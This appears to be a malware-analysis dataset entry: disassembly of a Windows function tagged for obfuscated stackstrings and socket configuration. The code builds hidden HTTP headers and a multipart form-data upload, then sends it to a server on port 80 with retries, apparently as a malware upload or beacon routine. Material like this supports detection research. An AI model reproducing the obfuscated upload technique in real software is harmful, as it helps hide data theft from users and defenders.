Function at 0x1000c950
Capabilities:
Contain obfuscated stackstrings
Set socket configuration

Disassembly:
sub esp, 0x184
push ebx
push ebp
push esi
push edi
xor edi, edi
mov dword [esp + 0x160], edi
mov dword [esp + 0x168], edi
mov bl, 0x2d
lea esp, [esp]
push edi
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov ebp, eax
mov dword [esp + 0x10], ebp
cmp ebp, 0xffffffff
je 0x1000d0a0
mov eax, 2
push 0x50
mov word [esp + 0x188], ax
call dword [sym.imp.WS2_32.dll_htons]
mov esi, dword [esp + 0x19c]
mov ecx, dword [esi + 0x10]
lea edx, [esp + 0x184]
mov word [esp + 0x186], ax
mov eax, dword [esi + 8]
push edx
push eax
mov dword [esp + 0x178], eax
mov dword [esp + 0x180], ecx
call fcn.10007670
add esp, 8
cmp eax, 0xffffffff
je 0x1000d090
push 8
lea eax, [esp + 0x180]
push eax
push 0x1006
push RtlCreateHeap
push ebp
mov dword [esp + 0x194], edi
mov dword [esp + 0x190], 0x4e20
call dword [sym.imp.WS2_32.dll_setsockopt]
push 0x10
lea ecx, [esp + 0x188]
push ecx
push ebp
call dword [0x10001494]
cmp eax, 0xffffffff
je 0x1000d086
push 0x800
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call fcn.1000abd0
mov edi, eax
test edi, edi
je 0x1000d086
call dword [sym.imp.KERNEL32.dll_GetTickCount]
lea edx, [esp + 0x174]
push edx
mov dword [esp + 0x178], eax
call dword [sym.imp.NTDLL.dll_RtlRandom]
xor ecx, ecx
mov ebp, eax
lea eax, [esi + 0x20]
mov dword [esp + 0x14], ebp
mov dword [esp + 0x16c], ecx
mov dword [esp + 0x24], ecx
mov dword [esp + 0x164], ecx
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], eax
cmp dword [eax], ecx
jbe 0x1000ccb5
mov eax, dword [esp + 0x1a0]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push eax
mov byte [esp + 0x161], cl
push ebp
lea ecx, [esp + 0xec]
push ecx
push edi
mov dword [esp + 0x17c], edi
mov byte [esp + 0xf4], bl
mov byte [esp + 0xf5], bl
mov byte [esp + 0xf6], bl
mov byte [esp + 0xf7], bl
mov byte [esp + 0xf8], bl
mov byte [esp + 0xf9], bl
mov byte [esp + 0xfa], bl
mov byte [esp + 0xfb], bl
mov byte [esp + 0xfc], bl
mov byte [esp + 0xfd], bl
mov dword [esp + 0xfe], 0xd756c25
mov dword [esp + 0x102], 0x6e6f430a
mov dword [esp + 0x106], 0x746e6574
mov byte [esp + 0x10a], bl
mov dword [esp + 0x10b], 0x70736944
mov dword [esp + 0x10f], 0x7469736f
mov dword [esp + 0x113], 0x3a6e6f69
mov dword [esp + 0x117], 0x726f6620
mov byte [esp + 0x11b], 0x6d
mov byte [esp + 0x11c], bl
mov dword [esp + 0x11d], 0x61746164
mov dword [esp + 0x121], 0x616e203b
mov dword [esp + 0x125], 0x223d656d
mov dword [esp + 0x129], 0xd227325
mov dword [esp + 0x12d], 0x6e6f430a
mov dword [esp + 0x131], 0x746e6574
mov byte [esp + 0x135], bl
mov dword [esp + 0x136], 0x65707954
mov dword [esp + 0x13a], 0x6574203a
mov dword [esp + 0x13e], 0x702f7478
mov dword [esp + 0x142], 0x6e69616c
mov dword [esp + 0x146], 0x6f430a0d
mov dword [esp + 0x14a], 0x6e65746e
mov byte [esp + 0x14e], 0x74
mov byte [esp + 0x14f], bl
mov dword [esp + 0x150], 0x6e617254
mov dword [esp + 0x154], 0x72656673
mov byte [esp + 0x158], bl
mov dword [esp + 0x159], 0x6f636e45
mov dword [esp + 0x15d], 0x676e6964
mov dword [esp + 0x161], 0x6962203a
mov dword [esp + 0x165], 0x7972616e
mov dword [esp + 0x169], 0xa0d0a0d
call esi
push ebp
lea edx, [esp + 0x44]
mov dword [esp + 0x38], eax
lea eax, [eax + edi + 1]
push edx
push eax
mov dword [esp + 0x180], eax
mov byte [esp + 0x4c], bl
mov byte [esp + 0x4d], bl
mov byte [esp + 0x4e], bl
mov byte [esp + 0x4f], bl
mov byte [esp + 0x50], bl
mov byte [esp + 0x51], bl
mov byte [esp + 0x52], bl
mov byte [esp + 0x53], bl
mov byte [esp + 0x54], bl
mov byte [esp + 0x55], bl
mov word [esp + 0x56], 0x6c25
mov byte [esp + 0x58], 0x75
mov byte [esp + 0x59], bl
mov byte [esp + 0x5a], bl
mov dword [esp + 0x5b], 0xa0d0a0d
mov byte [esp + 0x5f], 0
call esi
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x34]
add esp, 0x1c
jmp 0x1000ccbb
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, dword [esp + 0x1c]
add ecx, dword [esp + 0x24]
cmp dword [eax], 0
mov dword [esp + 0x28], 0x54534f50
mov byte [esp + 0x2c], 0
mov dword [esp + 0x20], 0x544547
lea ebp, [ecx + edi + 2]
mov dword [esp + 0x5c], 0x25207325
mov dword [esp + 0x60], 0x54482073
mov dword [esp + 0x64], 0x312f5054
mov dword [esp + 0x68], 0xa0d302e
mov dword [esp + 0x6c], 0x74736f48
mov dword [esp + 0x70], 0x7325203a
mov dword [esp + 0x74], 0x73550a0d
mov word [esp + 0x78], 0x7265
mov byte [esp + 0x7a], bl
mov dword [esp + 0x7b], 0x6e656741
mov dword [esp + 0x7f], 0x25203a74
mov dword [esp + 0x83], 0x410a0d73
mov dword [esp + 0x87], 0x70656363
mov dword [esp + 0x8b], 0x2a203a74
mov dword [esp + 0x8f], 0xa0d2a2f
mov byte [esp + 0x93], 0
lea eax, [esp + 0x28]
ja 0x1000cd70
lea eax, [esp + 0x20]
mov ecx, dword [0x10001594]
mov edx, dword [esp + 0x170]
push ecx
mov ecx, dword [esp + 0x17c]
push edx
push ecx
push eax
lea edx, [esp + 0x6c]
push edx
push ebp
call esi
mov esi, eax
mov eax, dword [esp + 0x1b4]
mov eax, dword [eax + 0x20]
add esp, 0x18
mov dword [esp + 0x94], 0x746e6f43
mov word [esp + 0x98], 0x6e65
mov byte [esp + 0x9a], 0x74
mov byte [esp + 0x9b], bl
mov dword [esp + 0x9c], 0x676e654c
mov dword [esp + 0xa0], 0x203a6874
mov dword [esp + 0xa4], 0xd756c25
mov dword [esp + 0xa8], 0x6e6f430a
mov dword [esp + 0xac], 0x746e6574
mov byte [esp + 0xb0], bl
mov dword [esp + 0xb1], 0x65707954
mov dword [esp + 0xb5], 0x756d203a
mov dword [esp + 0xb9], 0x7069746c
mov dword [esp + 0xbd], 0x2f747261
mov dword [esp + 0xc1], 0x6d726f66
mov byte [esp + 0xc5], bl
mov dword [esp + 0xc6], 0x61746164
mov dword [esp + 0xca], 0x6f62203b
mov dword [esp + 0xce], 0x61646e75
mov word [esp + 0xd2], 0x7972
mov byte [esp + 0xd4], 0x3d
mov byte [esp + 0xd5], bl
mov byte [esp + 0xd6], bl
mov byte [esp + 0xd7], bl
mov byte [esp + 0xd8], bl
mov byte [esp + 0xd9], bl
mov byte [esp + 0xda], bl
mov byte [esp + 0xdb], bl
mov byte [esp + 0xdc], bl
mov dword [esp + 0xdd], 0xd756c25
mov word [esp + 0xe1], 0xa
test eax, eax
je 0x1000cef7
mov ecx, dword [esp + 0x14]
push ecx
mov ecx, dword [esp + 0x1a0]
mov edx, dword [ecx + 0x30]
add edx, dword [ecx + 0x28]
lea ecx, [esi + ebp]
add edx, eax
add edx, dword [esp + 0x20]
lea eax, [esp + 0x98]
add edx, dword [esp + 0x28]
push edx
push eax
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
add esi, eax
lea edx, [esp + 0x44]
push edx
lea eax, [esi + ebp]
push eax
mov dword [esp + 0x4c], 0x6e6e6f43
mov dword [esp + 0x50], 0x69746365
mov dword [esp + 0x54], 0x203a6e6f
mov dword [esp + 0x58], 0x736f6c63
mov dword [esp + 0x5c], 0xd0a0d65
mov word [esp + 0x60], 0xa
call dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x1c]
add esi, eax
push ebp
push edx
mov dword [esp + 0x28], esi
call fcn.10005700
add esp, 0x14
cmp eax, esi
jne 0x1000d073
mov eax, dword [esp + 0x19c]
add eax, 0x20
cmp dword [eax], 0
mov dword [esp + 0x18], eax
je 0x1000cf9b
mov esi, dword [esp + 0x24]
test esi, esi
je 0x1000cf9b
mov ecx, dword [esp + 0x16c]
lea eax, [esp + 0x14]
push eax
push ecx
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x20], esi
call fcn.10005700
add esp, 0xc
cmp eax, esi
jne 0x1000d073
mov eax, dword [esp + 0x18]
mov esi, dword [eax]
mov ebp, dword [esp + 0x19c]
test esi, esi
je 0x1000cff1
push eax
mov eax, dword [ebp + 0x1c]
push eax
lea ecx, [esp + 0x18]
push ecx
call fcn.10005700
add esp, 0xc
cmp eax, esi
jne 0x1000d073
mov eax, dword [esp + 0x18]
test esi, esi
je 0x1000cff1
cmp dword [ebp + 0x28], 0
lea esi, [ebp + 0x28]
je 0x1000cff1
mov edx, dword [ebp + 0x24]
push esi
push edx
lea eax, [esp + 0x18]
push eax
call fcn.10005700
add esp, 0xc
cmp eax, dword [esi]
jne 0x1000d073
mov eax, dword [esp + 0x18]
cmp dword [eax], 0
je 0x1000d048
cmp dword [ebp + 0x30], 0
lea esi, [ebp + 0x30]
je 0x1000d019
mov ecx, dword [ebp + 0x2c]
push esi
push ecx
lea edx, [esp + 0x18]
push edx
call fcn.10005700
add esp, 0xc
cmp eax, dword [esi]
jne 0x1000d073
mov eax, dword [esp + 0x18]
cmp dword [eax], 0
je 0x1000d048
mov esi, dword [esp + 0x1c]
test esi, esi
je 0x1000d048
mov ecx, dword [esp + 0x164]
lea eax, [esp + 0x14]
push eax
push ecx
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x20], esi
call fcn.10005700
add esp, 0xc
cmp eax, esi
jne 0x1000d073
mov eax, dword [esp + 0x1a4]
push eax
add ebp, 0x34
lea ecx, [esp + 0x14]
push ebp
push ecx
call fcn.1000abe0
add esp, 0xc
mov dword [esp + 0x160], eax
mov dword [esp + 0x168], 1
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call fcn.1000b040
mov ebp, dword [esp + 0x10]
xor edi, edi
push edi
push ebp
call dword [sym.imp.WS2_32.dll_shutdown]
push ebp
call dword [sym.imp.WS2_32.dll_closesocket]
cmp dword [esp + 0x168], edi
jne 0x1000d0b9
cmp dword [esp + 0x198], edi
je 0x1000d0b9
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1000c970
mov eax, dword [esp + 0x160]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x184
ret